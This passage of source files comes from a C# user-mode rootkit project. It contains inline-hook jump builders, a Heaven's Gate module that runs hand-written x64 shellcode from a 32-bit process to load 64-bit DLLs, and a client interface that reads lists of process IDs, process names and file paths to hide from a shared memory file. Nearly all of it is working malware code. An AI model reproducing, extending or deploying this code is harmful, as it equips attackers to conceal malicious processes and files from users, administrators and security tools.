381 | private byte[] CreateJumpx86(IntPtr target, IntPtr source)
382 | {
383 | int offset = target.ToInt32() - source.ToInt32() - X86ByteCodeLength;
384 | byte[] jmpBytes = new byte[X86ByteCodeLength];
385 | jmpBytes[0] = 0xE9; // JMP opcode
386 | BitConverter.GetBytes(offset).CopyTo(jmpBytes, 1);
387 | return jmpBytes;
388 | }
389 | private static IntPtr SpecialAllocate2GBRange(IntPtr address, uint dwSize)
390 | {
391 | if (allocationGranularity == 0)
392 | {
393 | SYSTEM_INFO si;
394 | NativeMethods.GetSystemInfo(out si);
395 | allocationGranularity = si.allocationGranularity;
396 | }
397 |
398 | ulong add = allocationGranularity - 1;
399 | ulong mask = ~add;
400 | //0x80000000 = 2^31
401 | ulong min = 0;
402 | ulong max = ulong.MaxValue;
403 | if ((ulong)address >= 0x80000000)
404 | {
405 | min = ((ulong)address - 0x80000000 + add) & mask;
406 | }
407 | if ((ulong)address < (ulong.MaxValue - 0x80000000))
408 | {
409 | max = ((ulong)address + 0x80000000) & mask;
410 | }
411 |
412 | do
413 | {
414 | if (NativeMethods.VirtualQuery((IntPtr)min, out MEMORY_BASIC_INFORMATION mbi, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))) == 0)
415 | return IntPtr.Zero;
416 |
417 | min = (ulong)mbi.BaseAddress + (ulong)mbi.RegionSize;
418 |
419 | if (mbi.State == MEM_FREE)
420 | {
421 | ulong addr = ((ulong)mbi.BaseAddress + add) & mask;
422 |
423 | if (addr < min && dwSize <= (min - addr))
424 | {
425 | IntPtr allocatedAddr = NativeMethods.VirtualAlloc((IntPtr)addr, (UIntPtr)dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
426 | if (allocatedAddr != IntPtr.Zero)
427 | return allocatedAddr;
428 | }
429 | }
430 | } while (min < max);
431 |
432 | return IntPtr.Zero;
433 | }
434 | private static bool FreeSpeciallyAllocatedData(IntPtr address)
435 | {
436 | return NativeMethods.VirtualFree(address, UIntPtr.Zero, MEM_RELEASE);
437 | }
438 | }
439 | }
--------------------------------------------------------------------------------
/CSharpRootkit/HeavensGate/HeavensGate.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace CSharpRootkit
9 | {
10 | public static class HeavensGate
11 | {
12 | static HeavensGate()
13 | {
14 | if (Environment.Is64BitProcess)
15 | {
16 | return;
17 | }
18 | CurrentProcessDuplicateHandle = NativeMethods.GetCurrentProcess();
19 | if (!NativeMethods.DuplicateHandle(CurrentProcessDuplicateHandle, CurrentProcessDuplicateHandle, CurrentProcessDuplicateHandle, ref CurrentProcessDuplicateHandle, 0, false, 2))
20 | {
21 | return;
22 | }
23 | ntdll64 = Utils64.GetRemoteModuleHandle64Bit(CurrentProcessDuplicateHandle, "ntdll.dll");
24 | if (ntdll64 == 0)
25 | {
26 | return;
27 | }
28 | LdrLoadDll = Utils64.GetRemoteProcAddress64Bit(CurrentProcessDuplicateHandle, ntdll64, "LdrLoadDll");
29 | if (LdrLoadDll == 0)
30 | {
31 | return;
32 | }
33 | LdrUnloadDll = Utils64.GetRemoteProcAddress64Bit(CurrentProcessDuplicateHandle, ntdll64, "LdrUnloadDll");
34 | if (LdrLoadDll == 0)
35 | {
36 | return;
37 | }
38 | LdrGetDllHandle = Utils64.GetRemoteProcAddress64Bit(CurrentProcessDuplicateHandle, ntdll64, "LdrGetDllHandle");
39 | if (LdrGetDllHandle == 0)
40 | {
41 | return;
42 | }
43 | LdrGetProcedureAddress = Utils64.GetRemoteProcAddress64Bit(CurrentProcessDuplicateHandle, ntdll64, "LdrGetProcedureAddress");
44 | if (LdrGetProcedureAddress == 0)
45 | {
46 | return;
47 | }
48 | operational = true;
49 | }
50 |
51 | public static bool operational = false;
52 |
53 | private static ulong LdrLoadDll;
54 | private static ulong LdrUnloadDll;
55 | private static ulong LdrGetDllHandle;
56 | private static ulong LdrGetProcedureAddress;
57 | private static IntPtr CurrentProcessDuplicateHandle;
58 |
59 |
60 | private static ulong ntdll64;
61 | private static ulong Kernel3264 = 0;
62 |
63 |
64 | private delegate ulong Wow64Execution(IntPtr func, IntPtr parameters);
65 |
66 | private static uint PAGE_EXECUTE_READWRITE = 0x40;
67 |
68 | private static byte[] Wow64ExecuteShellCode = {
69 | //BITS32
70 | 0x55, //push ebp
71 | 0x89, 0xe5, //mov ebp, esp
72 | 0x56, //push esi
73 | 0x57, //push edi
74 | 0x8b, 0x75, 0x08, //mov esi, dword ptr ss:[ebp + 0x8]
75 | 0x8b, 0x4d, 0x0c, //mov ecx, dword ptr ss:[ebp + 0xC]
76 | 0xe8, 0x00, 0x00, 0x00, 0x00, //call $0
77 | 0x58, //pop eax
78 | 0x83, 0xc0, 0x2a, //add eax, 0x2A
79 | 0x83, 0xec, 0x08, //sub esp, 0x8
80 | 0x89, 0xe2, //mov edx, esp
81 | 0xc7, 0x42, 0x04, 0x33, 0x00, 0x00, 0x00, //mov dword ptr ds:[edx + 0x4], 0x33
82 | 0x89, 0x02, //mov dword ptr ds:[edx], eax
83 | 0xe8, 0x0e, 0x00, 0x00, 0x00, //call SwitchTo64
84 | 0x66, 0x8c, 0xd9, //mov cx, ds
85 | 0x8e, 0xd1, //mov ss, cx
86 | 0x83, 0xc4, 0x14, //add esp, 0x14
87 | 0x5f, //pop edi
88 | 0x5e, //pop esi
89 | 0x5d, //pop ebp
90 | 0xc2, 0x08, 0x00, //ret 0x8
91 |
92 | //SwitchTo64:
93 | 0x8b, 0x3c, 0x24, //mov edi, dword ptr ss:[esp]
94 | 0xff, 0x2a, //jmp far fword ptr ds:[edx]
95 |
96 |
97 | //BITS64
98 | 0x48, 0x31, 0xc0, //xor rax, rax
99 | 0x57, //push rdi
100 | 0xff, 0xd6, //call rsi
101 | 0x5f, //pop rdi
102 | 0x50, //push rax
103 | 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00, 0x00,//mov dword ptr ss:[rsp + 0x4], 0x23
104 | 0x89, 0x3c, 0x24, //mov dword ptr ss:[rsp], edi
105 | 0x48, 0x89, 0xC2, //mov rdx, rax
106 | 0x21, 0xC0, //and eax, eax
107 | 0x48, 0xC1, 0xEA, 0x20, //shr rdx, 0x20
108 | 0xff, 0x2c, 0x24, //jmp far fword ptr ss:[rsp]
109 | };
110 |
111 |
112 | private static IntPtr UlongParamsToIntPtr(ulong[] parameters)
113 | {
114 | IntPtr ParamPtr = Marshal.AllocHGlobal(parameters.Length * sizeof(ulong));
115 | for (int i = 0; i < parameters.Length; i++)
116 | {
117 | byte[] ulongBytes = BitConverter.GetBytes(parameters[i]);
118 | Marshal.Copy(ulongBytes, 0, ParamPtr + (i * sizeof(ulong)), ulongBytes.Length);
119 | }
120 | return ParamPtr;
121 | }
122 |
123 |
124 |
125 | private static ulong DispatchX64Call(byte[] code, ulong[] parameters)
126 | {
127 | ulong result = ulong.MaxValue;
128 | if (code == null || code.Length == 0)
129 | {
130 | return result;
131 | }
132 |
133 | int ShellCodeLength = Wow64ExecuteShellCode.Length + code.Length;
134 |
135 | IntPtr pExecutableCode = Marshal.AllocHGlobal(ShellCodeLength);
136 |
137 | Marshal.Copy(Wow64ExecuteShellCode, 0, pExecutableCode, Wow64ExecuteShellCode.Length);
138 | Marshal.Copy(code, 0, pExecutableCode + Wow64ExecuteShellCode.Length, code.Length);
139 |
140 | bool Worked = NativeMethods.VirtualProtect(pExecutableCode, (UIntPtr)ShellCodeLength, PAGE_EXECUTE_READWRITE, out uint OldProtectValue);
141 |
142 | if (!Worked)
143 | {
144 | throw new Exception("Couldnt set the shellcode memory as PAGE_EXECUTE_READWRITE!");
145 | }
146 |
147 | Wow64Execution exec = Marshal.GetDelegateForFunctionPointer(pExecutableCode);
148 |
149 | IntPtr paramPtr = IntPtr.Zero;
150 | if (parameters != null && parameters.Length > 0)
151 | {
152 | paramPtr = UlongParamsToIntPtr(parameters);
153 | }
154 |
155 | result = exec(pExecutableCode + Wow64ExecuteShellCode.Length, paramPtr);
156 |
157 | Marshal.FreeHGlobal(pExecutableCode);
158 |
159 | if (paramPtr != IntPtr.Zero)
160 | {
161 | Marshal.FreeHGlobal(paramPtr);
162 | }
163 |
164 | return result;
165 | }
166 |
167 | public static ulong Execute64(ulong Function, params ulong[] pFunctionParameters)
168 | {
169 | if (!operational)
170 | {
171 | throw new Exception("HeavensGate did not start up properly or is on a x64 process");
172 | }
173 | int dwParameters = pFunctionParameters.Length;
174 |
175 | //BITS 64
176 | byte[] prologue = {
177 | 0xFC, //cld
178 | 0x48, 0x89, 0xCE, //mov rsi, rcx
179 | 0x48, 0x89, 0xE7, //mov rdi, rsp
180 | 0x48, 0x83, 0xEC, 0x10, //sub rsp, 0x10
181 | 0x40, 0x80, 0xE4, 0x00, //and spl, 0x0
182 | };
183 |
184 | //BITS 64
185 | byte[] epilogue = {
186 | 0x31, 0xC0, //xor eax, eax
187 | 0x49, 0xBA, 0xF1, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, //mov r10, FunctionAddress
188 | 0x41, 0xFF, 0xD2, //call r10
189 | 0x48, 0x89, 0xFC, //mov rsp, rdi
190 | 0xC3 //ret
191 | };
192 |
193 | List code = new List(prologue);
194 |
195 | if (dwParameters < 4)
196 | {
197 | int c = dwParameters < 4 ? dwParameters : 4;
198 | for (int i = 0; i < c; ++i)
199 | {
200 | switch (i)
201 | {
202 | case 0:
203 | //mov rcx, qword ptr ds:[rsi]
204 | code.AddRange(new byte[] { 0x48, 0x8B, 0x0E });
205 | break;
206 | case 1:
207 | //mov rdx, qword ptr ds:[rsi + 0x8]
208 | code.AddRange(new byte[] { 0x48, 0x8B, 0x56, 0x08 });
209 | break;
210 | case 2:
211 | //mov r8, qword ptr ds:[rsi + 0x10]
212 | code.AddRange(new byte[] { 0x4C, 0x8B, 0x46, 0x10 });
213 | break;
214 | case 3:
215 | //mov r9, qword ptr ds:[rsi + 0x18]
216 | code.AddRange(new byte[] { 0x4C, 0x8B, 0x4E, 0x18 });
217 | break;
218 | }
219 | }
220 | }
221 | else
222 | {
223 | //all the switch statements combined
224 | code.AddRange(new byte[] { 0x48, 0x8B, 0x0E, 0x48, 0x8B, 0x56, 0x08, 0x4C, 0x8B, 0x46, 0x10, 0x4C, 0x8B, 0x4E, 0x18 });
225 | if ((dwParameters % 2) != 0)
226 | {
227 | // push 0x0
228 | code.AddRange(new byte[] { 0x6A, 0x00 });
229 | }
230 | byte[] code_buffer1 = new byte[] { 0x48, 0x8B, 0x46, 0x20, 0x50 };
231 | byte[] code_buffer2 = new byte[] { 0x48, 0x8B, 0x86, 0x80, 0x00, 0x00, 0x00, 0x50 };
232 |
233 | if (dwParameters * 8 >= 0x7fffffff)
234 | {
235 | return ulong.MaxValue;
236 | }
237 |
238 | for (int i = dwParameters - 1; i >= 4; --i)
239 | {
240 | if (i * 8 < 0x7f)
241 | {
242 | code_buffer1[3] = (byte)(i * 8);
243 | code.AddRange(code_buffer1);
244 | }
245 | else
246 | {
247 | BitConverter.GetBytes(i * 8).CopyTo(code_buffer2, 3);
248 | code.AddRange(code_buffer2);
249 | }
250 | }
251 |
252 | }
253 |
254 | code.AddRange(new byte[] { 0x48, 0x83, 0xEC, 0x20 });
255 |
256 | BitConverter.GetBytes(Function).CopyTo(epilogue, 4);
257 | code.AddRange(epilogue);
258 |
259 | return DispatchX64Call(code.ToArray(), pFunctionParameters);
260 | }
261 |
262 | private static ulong GetProcessParameters()
263 | {
264 | InternalStructs64.PROCESS_BASIC_INFORMATION64 PBI = new InternalStructs64.PROCESS_BASIC_INFORMATION64();
265 | uint PBI_size = (uint)Marshal.SizeOf(PBI);
266 | uint NTread_out = 0;
267 | if (SpecialNativeMethods.NtQueryPBI64From32(CurrentProcessDuplicateHandle, InternalStructs.PROCESSINFOCLASS.ProcessBasicInformation, ref PBI, PBI_size, ref NTread_out) != 0 || PBI.PebBaseAddress == 0)
268 | {
269 | throw new Exception("couldnt read PBI from process!");
270 | }
271 | ulong processParameters = GetProcessParameters64(PBI.PebBaseAddress);
272 |
273 | IntPtr ProcessParametersBuffer = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(ulong)));
274 | ulong len = 0;
275 | int ReadVirtualMemoryStatus = SpecialNativeMethods.ReadProcessMemory64From32(
276 | CurrentProcessDuplicateHandle,
277 | processParameters,
278 | ProcessParametersBuffer,
279 | (ulong)Marshal.SizeOf(typeof(InternalStructs.ULONGRESULT)),
280 | ref len
281 | );
282 | if (ReadVirtualMemoryStatus != 0)
283 | {
284 | Marshal.FreeHGlobal(ProcessParametersBuffer);
285 | throw new Exception("Couldnt read the processParameters");
286 | }
287 | processParameters = Marshal.PtrToStructure(ProcessParametersBuffer).Value;
288 | Marshal.FreeHGlobal(ProcessParametersBuffer);
289 | return processParameters;
290 |
291 | }
292 |
293 | private static ulong GetProcessParameters64(ulong addr)
294 | {
295 | return addr + 0x20;
296 | }
297 |
298 | private static InternalStructs64.RTL_USER_PROCESS_PARAMETERS64 GetRTLParams()
299 | {
300 | ulong processParameters = GetProcessParameters();
301 |
302 | int RTL_PARAMS_SIZE = Marshal.SizeOf(typeof(InternalStructs64.RTL_USER_PROCESS_PARAMETERS64));
303 | IntPtr RTL_PARAMS_PTR = Marshal.AllocHGlobal(RTL_PARAMS_SIZE);
304 | ulong len = 0;
305 | int ReadVirtualMemoryStatus = SpecialNativeMethods.ReadProcessMemory64From32(
306 | CurrentProcessDuplicateHandle,
307 | processParameters,
308 | RTL_PARAMS_PTR,
309 | (ulong)RTL_PARAMS_SIZE,
310 | ref len
311 | );
312 | if (ReadVirtualMemoryStatus != 0)
313 | {
314 | Marshal.FreeHGlobal(RTL_PARAMS_PTR);
315 | throw new Exception("Couldnt read the RTL_USER_PROCESS_PARAMETERS");
316 | }
317 |
318 | InternalStructs64.RTL_USER_PROCESS_PARAMETERS64 RTL_PARAMS = Marshal.PtrToStructure(RTL_PARAMS_PTR);
319 | Marshal.FreeHGlobal(RTL_PARAMS_PTR);
320 | return RTL_PARAMS;
321 | }
322 |
323 | private static void WriteRTLParams(InternalStructs64.RTL_USER_PROCESS_PARAMETERS64 RTL_PARAMS)
324 | {
325 | ulong processParameters = GetProcessParameters();
326 |
327 | int RTL_PARAMS_SIZE = Marshal.SizeOf(typeof(InternalStructs64.RTL_USER_PROCESS_PARAMETERS64));
328 | IntPtr RTL_PARAMS_PTR = Marshal.AllocHGlobal(RTL_PARAMS_SIZE);
329 | Marshal.StructureToPtr(RTL_PARAMS, RTL_PARAMS_PTR, false);
330 | ulong len = 0;
331 | int WriteVirtualMemoryStatus = SpecialNativeMethods.WriteProcessMemory64From32(CurrentProcessDuplicateHandle, processParameters, RTL_PARAMS_PTR, (ulong)RTL_PARAMS_SIZE, ref len);
332 | Marshal.FreeHGlobal(RTL_PARAMS_PTR);
333 | if (WriteVirtualMemoryStatus != 0)
334 | {
335 | throw new Exception("Couldnt write the RTL_USER_PROCESS_PARAMETERS");
336 | }
337 | }
338 |
339 | private static Tuple CaptureConsoleHandles64()
340 | {
341 | InternalStructs64.RTL_USER_PROCESS_PARAMETERS64 RTL_PARAMS = GetRTLParams();
342 |
343 | ulong[] handles = new ulong[] { RTL_PARAMS.ConsoleHandle, RTL_PARAMS.StandardInput, RTL_PARAMS.StandardOutput, RTL_PARAMS.StandardError };
344 | uint[] flags = new uint[] { RTL_PARAMS.WindowFlags, RTL_PARAMS.ConsoleFlags };
345 |
346 | return new Tuple(handles, flags);
347 |
348 | }
349 |
350 | private static void WriteConsoleHandles64(ulong ConsoleHandle, ulong StandardInput, ulong StandardOutput, ulong StandardError, uint WindowFlags, uint ConsoleFlags)
351 | {
352 |
353 |
354 | ulong processParameters = GetProcessParameters();
355 |
356 | InternalStructs64.RTL_USER_PROCESS_PARAMETERS64 RTL_PARAMS = GetRTLParams();
357 | RTL_PARAMS.ConsoleHandle = ConsoleHandle;
358 | RTL_PARAMS.StandardInput = StandardInput;
359 | RTL_PARAMS.StandardOutput = StandardOutput;
360 | RTL_PARAMS.StandardError = StandardError;
361 | RTL_PARAMS.WindowFlags = WindowFlags;
362 | RTL_PARAMS.ConsoleFlags = ConsoleFlags;
363 |
364 |
365 | WriteRTLParams(RTL_PARAMS);
366 | }
367 |
368 | private static void WriteConsoleHandles64(ulong[] handle, uint[] flags)
369 | {
370 | if (handle.Length != 4 || flags.Length != 2)
371 | {
372 | throw new Exception("invalid arguments, there must be 4 handles and 2 flags!");
373 | }
374 | WriteConsoleHandles64(handle[0], handle[1], handle[2], handle[3], flags[0], flags[1]);
375 | }
376 | public static ulong LoadKernel32()
377 | {
378 | if (!operational)
379 | {
380 | throw new Exception("HeavensGate did not start up properly or is on a x64 process");
381 | }
382 | if (Kernel3264 != 0)
383 | {
384 | return Kernel3264;
385 | }
386 |
387 | IntPtr NtHeaderAddr = (IntPtr)Utils32.GetNtHeader32Addr(CurrentProcessDuplicateHandle, (uint)NativeMethods.GetModuleHandleW(null));
388 |
389 | InternalStructs32.IMAGE_NT_HEADERS32 NtHeader = Marshal.PtrToStructure(NtHeaderAddr);
390 |
391 | IntPtr subSystemAddress = (IntPtr)((uint)NtHeaderAddr + (uint)Marshal.OffsetOf(typeof(InternalStructs32.IMAGE_NT_HEADERS32), "OptionalHeader") + (uint)Marshal.OffsetOf(typeof(InternalStructs32.IMAGE_OPTIONAL_HEADER32), "Subsystem"));
392 |
393 | uint PAGE_READWRITE = 0x04;
394 | ushort IMAGE_SUBSYSTEM_WINDOWS_CUI = 3;
395 | ushort IMAGE_SUBSYSTEM_WINDOWS_GUI = 2;
396 |
397 | if (NtHeader.OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_CUI)
398 | {
399 | if (NativeMethods.VirtualProtect(subSystemAddress, (UIntPtr)Marshal.SizeOf(typeof(ushort)), PAGE_READWRITE, out uint oldProtect))
400 | {
401 | Tuple HandlesAndFlags = CaptureConsoleHandles64();
402 | WriteConsoleHandles64(0, 0, 0, 0, 0, 0);
403 | Marshal.WriteInt16(subSystemAddress, (short)IMAGE_SUBSYSTEM_WINDOWS_GUI);
404 | Kernel3264 = LoadLibrary64("kernel32.dll");
405 | WriteConsoleHandles64(HandlesAndFlags.Item1, HandlesAndFlags.Item2);
406 | Marshal.WriteInt16(subSystemAddress, (short)IMAGE_SUBSYSTEM_WINDOWS_CUI);
407 | NativeMethods.VirtualProtect(subSystemAddress, (UIntPtr)Marshal.SizeOf(typeof(ushort)), oldProtect, out oldProtect);
408 | }
409 | }
410 | else
411 | {
412 | Kernel3264 = LoadLibrary64("kernel32.dll");
413 | }
414 |
415 | return Kernel3264;
416 | }
417 |
418 | public static ulong GetModuleHandle64(string ModuleName)
419 | {
420 | if (!operational)
421 | {
422 | throw new Exception("HeavensGate did not start up properly or is on a x64 process");
423 | }
424 | return Utils64.GetRemoteModuleHandle64Bit(CurrentProcessDuplicateHandle, ModuleName);
425 | }
426 |
427 | public static ulong LoadLibrary64(string LibraryName)
428 | {
429 | if (!operational)
430 | {
431 | throw new Exception("HeavensGate did not start up properly or is on a x64 process");
432 | }
433 | InternalStructs64.UNICODE_STRING64 uniStr64 = new InternalStructs64.UNICODE_STRING64();
434 |
435 | uniStr64.Buffer = (ulong)Marshal.StringToHGlobalUni(LibraryName);
436 | uniStr64.Length = (ushort)(LibraryName.Length * 2); // multiplied by 2 for 2 bytes per char as per unicode
437 | uniStr64.MaximumLength = (ushort)((LibraryName.Length + 1) * 2);//fullsize with nullbyte, multiplied by 2 for 2 bytes per char as per unicode
438 |
439 | IntPtr uniStr64Ptr = Marshal.AllocHGlobal(Marshal.SizeOf(uniStr64));
440 |
441 | Marshal.StructureToPtr(uniStr64, uniStr64Ptr, false);
442 |
443 | IntPtr modulePtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(InternalStructs.ULONGRESULT)));
444 |
445 | ulong result = Execute64(LdrLoadDll, 0, 0, (ulong)uniStr64Ptr, (ulong)modulePtr);
446 |
447 | ulong ModuleHandle = Marshal.PtrToStructure(modulePtr).Value;
448 |
449 | Marshal.FreeHGlobal((IntPtr)uniStr64.Buffer);
450 | Marshal.FreeHGlobal(modulePtr);
451 | Marshal.FreeHGlobal(uniStr64Ptr);
452 | if (result != 0)
453 | {
454 | return 0;
455 | }
456 | return ModuleHandle;
457 | }
458 |
459 | public static bool FreeLibrary64(ulong ModuleHandle)
460 | {
461 | return Execute64(LdrUnloadDll, ModuleHandle) == 0;
462 | }
463 |
464 | public static ulong GetProcAddress64(ulong ModuleHandle, string FunctionName)
465 | {
466 | if (!operational)
467 | {
468 | throw new Exception("HeavensGate did not start up properly or is on a x64 process");
469 | }
470 | return Utils64.GetRemoteProcAddress64Bit(CurrentProcessDuplicateHandle, ModuleHandle, FunctionName);
471 | }
472 |
473 | }
474 | }
475 |
--------------------------------------------------------------------------------
/CSharpRootkit/IPC/RootKitClientInterface.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.IO;
5 | using System.IO.MemoryMappedFiles;
6 | using System.IO.Pipes;
7 | using System.Linq;
8 | using System.Runtime.InteropServices;
9 | using System.Security.AccessControl;
10 | using System.Security.Principal;
11 | using System.Text;
12 | using System.Threading;
13 | using System.Threading.Tasks;
14 |
15 | namespace CSharpRootkit
16 | {
17 | public static class RootKitClientInterface
18 | {
19 | public static bool started = false;
20 |
21 | private static string RootKitMemFileName;
22 |
23 | private static MemoryMappedFile MemoryFile;
24 | private static MemoryMappedViewAccessor MemoryFileModifier;
25 |
26 | private static Thread UpdaterThread;
27 |
28 | private static bool NeedsUpdate = true;
29 |
30 | private static List InjectProcessNameInclusionExclusionList = new List();
31 | private static List InjectProcessPathInclusionExclusionList = new List();
32 |
33 | private static long OneMb = 1 * 1024 * 1024;//1mb
34 |
35 | private static long MemoryMappedFileSize = OneMb * 5; // 5mb
36 |
37 | private static long ControllerKeyRegionStart = 0;
38 | private static long ControllerKeyRegionEnd = ControllerKeyRegionStart + sizeof(int);
39 |
40 | private static long RootKitStartedRegionStart = ControllerKeyRegionEnd;
41 | private static long RootKitStartedRegionEnd = RootKitStartedRegionStart + sizeof(bool);
42 |
43 | private static long IsInclusionModeRegionStart = RootKitStartedRegionEnd;
44 | private static long IsInclusionModeRegionEnd = IsInclusionModeRegionStart + sizeof(bool);
45 |
46 | private static long HideInfoRegionStart = IsInclusionModeRegionEnd;
47 | private static long HideInfoRegionEnd = HideInfoRegionStart + OneMb;//+1mb
48 |
49 | private static long InclusionExclusionInfoRegionStart = HideInfoRegionEnd;
50 | private static long InclusionExclusionInfoRegionEnd = InclusionExclusionInfoRegionStart + OneMb;//+1mb
51 |
52 | private static long ServerCommandsRegionStart = InclusionExclusionInfoRegionEnd;
53 | private static long ServerCommandsRegionEnd = ServerCommandsRegionStart + OneMb;//+1mb
54 |
55 | private static long ClientCommandsRegionStart = ServerCommandsRegionEnd;
56 | private static long ClientCommandsRegionEnd = ClientCommandsRegionStart + OneMb;//+1mb
57 |
58 | private static string ServerCommandRegionMutex;
59 | private static string ClientCommandRegionMutex;
60 |
61 | private static MutexSecurity MutexSecuritySettings;
62 |
63 | static RootKitClientInterface()
64 | {
65 | MutexSecuritySettings = new MutexSecurity();
66 |
67 | // Allow everyone to use the mutex
68 | MutexAccessRule securityRule = new MutexAccessRule(
69 | new SecurityIdentifier(WellKnownSidType.WorldSid, null),
70 | MutexRights.FullControl,
71 | AccessControlType.Allow);
72 |
73 | MutexSecuritySettings.AddAccessRule(securityRule);
74 | }
75 |
76 | public static void Start(string MemFileName = "RootKitMemFile")
77 | {
78 | if (started)
79 | {
80 | throw new Exception("The interface is already started!");
81 | }
82 | RootKitMemFileName = MemFileName;
83 | ServerCommandRegionMutex = RootKitMemFileName + "ServerCommandRegion";
84 | ClientCommandRegionMutex = RootKitMemFileName + "ClientCommandRegion";
85 | UpdaterThread = new Thread(UpdaterLoop);
86 | UpdaterThread.Start();
87 | started = true;
88 | }
89 |
90 | public static void Stop()
91 | {
92 | if (!started)
93 | {
94 | return;//throw new Exception("The interface is not started!");
95 | }
96 |
97 | if (RootKit.Started)
98 | {
99 | try
100 | {
101 | RootKit.Stop();
102 | }
103 | catch { }
104 | }
105 |
106 | MemoryFileModifier?.Dispose();
107 | MemoryFile?.Dispose();
108 |
109 | started = false;
110 |
111 | //try
112 | //{
113 | // UpdaterThread.Abort();
114 | //}
115 | //catch { }
116 | }
117 |
118 | private static void UpdaterLoop() //if error in the file update, it causes entire thing to stop.
119 | {
120 | int MaxErrorCount = 10;
121 | int errorCount = 0;
122 | while (true)
123 | {
124 | try
125 | {
126 | if (Utils.OpenMemoryMappedFile(RootKitMemFileName, out MemoryFile))
127 | {
128 | MemoryFileModifier = MemoryFile.CreateViewAccessor(0, MemoryMappedFileSize, MemoryMappedFileAccess.ReadWrite);
129 | errorCount = 0;
130 | ProcessMemoryFileUpdates();
131 | }
132 | }
133 | catch
134 | {
135 | errorCount++;
136 | if (errorCount >= MaxErrorCount)
137 | {
138 | Stop();
139 | break;
140 | }
141 |
142 | }
143 | Thread.Sleep(1000);
144 | }
145 | }
146 |
147 | private static void ProcessMemoryFileUpdates()
148 | {
149 | byte[] HiddenDataBuffer = new byte[HideInfoRegionEnd - HideInfoRegionStart];
150 | byte[] InclusionExclusionDataBuffer = new byte[InclusionExclusionInfoRegionEnd - InclusionExclusionInfoRegionStart];
151 | while (started)
152 | {
153 | MemoryFileModifier.ReadArray(InclusionExclusionInfoRegionStart, InclusionExclusionDataBuffer, 0, InclusionExclusionDataBuffer.Length);
154 | GetInclusionExclusionData(InclusionExclusionDataBuffer, out string[] inExprocessNames, out string[] inExfilePaths);
155 |
156 | if (!InjectProcessNameInclusionExclusionList.SequenceEqual(inExprocessNames))
157 | {
158 | InjectProcessNameInclusionExclusionList.Clear();
159 | InjectProcessNameInclusionExclusionList.AddRange(inExprocessNames);
160 | }
161 |
162 | if (!InjectProcessPathInclusionExclusionList.SequenceEqual(inExfilePaths))
163 | {
164 | InjectProcessPathInclusionExclusionList.Clear();
165 | InjectProcessPathInclusionExclusionList.AddRange(inExfilePaths);
166 | }
167 |
168 |
169 | if (GetRootKitStatus() && !IsAgainstInclusionExclusionRules(NativeMethods.GetCurrentProcess()))// && make sure that its not excluded/not included/etc
170 | {
171 | if (!RootKit.Started)
172 | {
173 | RootKit.Start();
174 | }
175 | MemoryFileModifier.ReadArray(HideInfoRegionStart, HiddenDataBuffer, 0, HiddenDataBuffer.Length);
176 | GetHiddenData(HiddenDataBuffer, out int[] pids, out string[] processNames, out string[] filePaths, out string[] fileNames);
177 | RootKit.setup(pids, processNames, filePaths, fileNames);
178 | //update the rootkit.
179 |
180 |
181 |
182 | }
183 | else
184 | {
185 | if (RootKit.Started)
186 | {
187 | RootKit.Stop();
188 | }
189 | }
190 |
191 | //process the commands here
192 |
193 | Thread.Sleep(1000);
194 | }
195 | }
196 |
197 | private static void GetHiddenData(byte[] data, out int[] pids, out string[] processNames, out string[] filePaths, out string[] fileNames)
198 | {
199 | int offset = 0;
200 |
201 | // Deserialize pids
202 | int pidsLength = BitConverter.ToInt32(data, offset);
203 | offset += 4;
204 | pids = new int[pidsLength];
205 | for (int i = 0; i < pidsLength; i++)
206 | {
207 | pids[i] = BitConverter.ToInt32(data, offset);
208 | offset += 4;
209 | }
210 |
211 | // Deserialize processNames
212 | int processNamesLength = BitConverter.ToInt32(data, offset);
213 | offset += 4;
214 | processNames = new string[processNamesLength];
215 | for (int i = 0; i < processNamesLength; i++)
216 | {
217 | int nameLength = BitConverter.ToInt32(data, offset);
218 | offset += 4;
219 | processNames[i] = Encoding.Unicode.GetString(data, offset, nameLength);
220 | offset += nameLength;
221 | }
222 |
223 | // Deserialize filePaths
224 | int filePathsLength = BitConverter.ToInt32(data, offset);
225 | offset += 4;
226 | filePaths = new string[filePathsLength];
227 | for (int i = 0; i < filePathsLength; i++)
228 | {
229 | int pathLength = BitConverter.ToInt32(data, offset);
230 | offset += 4;
231 | filePaths[i] = Encoding.Unicode.GetString(data, offset, pathLength);
232 | offset += pathLength;
233 | }
234 |
235 | // Deserialize fileNames
236 | int fileNamesLength = BitConverter.ToInt32(data, offset);
237 | offset += 4;
238 | fileNames = new string[fileNamesLength];
239 | for (int i = 0; i < fileNamesLength; i++)
240 | {
241 | int nameLength = BitConverter.ToInt32(data, offset);
242 | offset += 4;
243 | fileNames[i] = Encoding.Unicode.GetString(data, offset, nameLength);
244 | offset += nameLength;
245 | }
246 | }
247 |
248 | private static void GetInclusionExclusionData(byte[] data, out string[] ProcessNames, out string[] FilePaths)
249 | {
250 | int offset = 0;
251 | int processNamesLength = BitConverter.ToInt32(data, offset);
252 | offset += 4;
253 | ProcessNames = new string[processNamesLength];
254 |
255 | for (int i = 0; i < processNamesLength; i++)
256 | {
257 | int nameLength = BitConverter.ToInt32(data, offset);
258 | offset += 4;
259 | ProcessNames[i] = Encoding.Unicode.GetString(data, offset, nameLength);
260 | offset += nameLength;
261 | }
262 |
263 | int filePathsLength = BitConverter.ToInt32(data, offset);
264 | offset += 4;
265 | FilePaths = new string[filePathsLength];
266 | for (int i = 0; i < filePathsLength; i++)
267 | {
268 | int pathLength = BitConverter.ToInt32(data, offset);
269 | offset += 4;
270 | FilePaths[i] = Encoding.Unicode.GetString(data, offset, pathLength);
271 | offset += pathLength;
272 | }
273 | }
274 |
275 | private static bool GetRootKitStatus()
276 | {
277 | return MemoryFileModifier.ReadBoolean(RootKitStartedRegionStart);
278 | }
279 |
280 | private static bool IsInclusionMode()
281 | {
